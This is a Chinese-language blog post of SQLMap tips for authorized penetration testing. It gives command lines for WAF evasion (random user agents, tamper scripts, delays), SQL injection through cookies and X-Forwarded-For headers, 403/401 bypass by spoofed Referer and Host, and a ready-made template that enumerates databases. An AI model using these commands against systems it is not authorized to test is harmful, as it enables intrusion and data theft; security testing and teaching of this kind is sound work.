别再用默认参数跑SQLMap了!这几个参数能帮你少踩3小时坑

别再用默认参数跑SQLMap了!这几个参数能帮你少踩3小时坑

你是不是也这样用SQLMap——拿到一个URL,直接sqlmap -u "http://xxx.com/?id=1"一跑,等半天结果要么漏数据,要么直接被WAF拦了。

上周帮一个朋友做授权渗透测试,就因为他一直用默认参数跑SQLMap,绕了三个小时的弯路。我帮他加了几个参数,20分钟就出了结果。不是SQLMap不行,是默认配置在真实环境里根本不够用。

默认参数的三个致命问题

问题一:请求速度太慢

SQLMap默认的延迟(delay)和超时(timeout)设置偏保守,遇到网络延迟大的目标,一个注入点的检测就要跑好几分钟。

真实渗透测试有时间窗口限制,不可能等它慢悠悠地跑。

问题二:User-Agent太明显

SQLMap默认的User-Agent里带着sqlmap字样,任何有基本安全意识的WAF和IDS都能直接识别并拦截。

# 默认User-Agent(找死)
User-Agent: sqlmap/1.7 (https://sqlmap.org)

问题三:Tamper脚本没加载

现在的网站基本都有WAF,默认参数不做任何变形,payload一发出去就被拦了。

6个实战必加参数

1. 随机User-Agent + 延迟

sqlmap -u "http://target.com/?id=1" --random-agent --delay=0.5

--random-agent从内置列表随机选User-Agent,--delay=0.5每个请求间隔0.5秒,避免触发速率限制。

2. 批量Tamper脚本

sqlmap -u "http://target.com/?id=1" --tamper=space2comment,between,randomcase,charencode

这几个tamper脚本的作用:

脚本作用适用场景 space2comment空格替换为`/**/`绕过空格过滤 between`>`替换为`NOT BETWEEN 0 AND`绕过比较符过滤 randomcase随机大小写绕过关键字大小写匹配 charencodeURL编码绕过简单字符串匹配

3. 指定注入技术

sqlmap -u "http://target.com/?id=1" --technique=BEU
  • B:Boolean布尔盲注
  • E:Error报错注入
  • U:UNION注入

别用默认的全部技术,每多一种检测方式就多几十个请求,还容易触发WAF。根据实际情况指定,能快3-5倍。

4. Cookie和Headers注入

很多时候注入点在Cookie或自定义Header里:

# Cookie注入
sqlmap -u "http://target.com/dashboard" --cookie="session=abc123; user=admin' --dbs" --level=2

# Header注入(X-Forwarded-For)
sqlmap -u "http://target.com/" --headers="X-Forwarded-For: 127.0.0.1'" --level=3

⚠️ 关键提醒--level参数默认是1,只检测GET/POST参数。设成2才会检测Cookie,设成3才会检测Header。这个坑我踩过不下五次。

5. 指定数据库类型

sqlmap -u "http://target.com/?id=1" --dbms=mysql

如果你已经通过报错信息或响应特征判断出数据库类型,直接指定,省掉数据库指纹检测的时间。

6. 绕过403/401

遇到目标返回403或401,试试:

# 自定义Referer
sqlmap -u "http://target.com/?id=1" --referer=https://www.google.com

# 自定义Host头
sqlmap -u "http://target.com/?id=1" --host=target.com

# 使用代理
sqlmap -u "http://target.com/?id=1" --proxy=http://127.0.0.1:8080

配合Burp Suite做中间代理,可以实时看到SQLMap发出去的请求,方便调试。

我的万能模板

经过大半年的实战积累,我总结了一套SQLMap常用模板:

sqlmap -u "TARGET_URL" \
  --random-agent \
  --delay=0.3 \
  --timeout=10 \
  --retries=3 \
  --tamper=space2comment,between,randomcase \
  --technique=BEU \
  --batch \
  --threads=5 \
  --dbs
  • --batch:自动选默认选项,不弹交互提示
  • --threads=5:5线程并发,再多了容易被封
  • --timeout=10:单次请求超时10秒

一个容易忽略的参数

--flush-session——清除之前的检测缓存。SQLMap会把之前的检测结果缓存起来,如果你改了参数重新跑,它可能直接用缓存结果,不会重新检测。这个参数能强制重新检测,避免"明明改了参数怎么结果还一样"的迷惑。

写在后面

SQLMap是个好工具,但默认参数只是"能用"的水平。在有WAF、有速率限制、有时间窗口的真实环境里,不调参数基本等于白跑。

把这些参数记熟,下次做渗透测试的时候直接用,能省好几个小时。


关注「安全值班室」公众号

每天AI安全早报 + 实战攻防案例 + 网安学习路线连载

关注安全值班室

posted on 2026-05-29 18:06  明.Sir  阅读(34)  评论(0)    收藏  举报

导航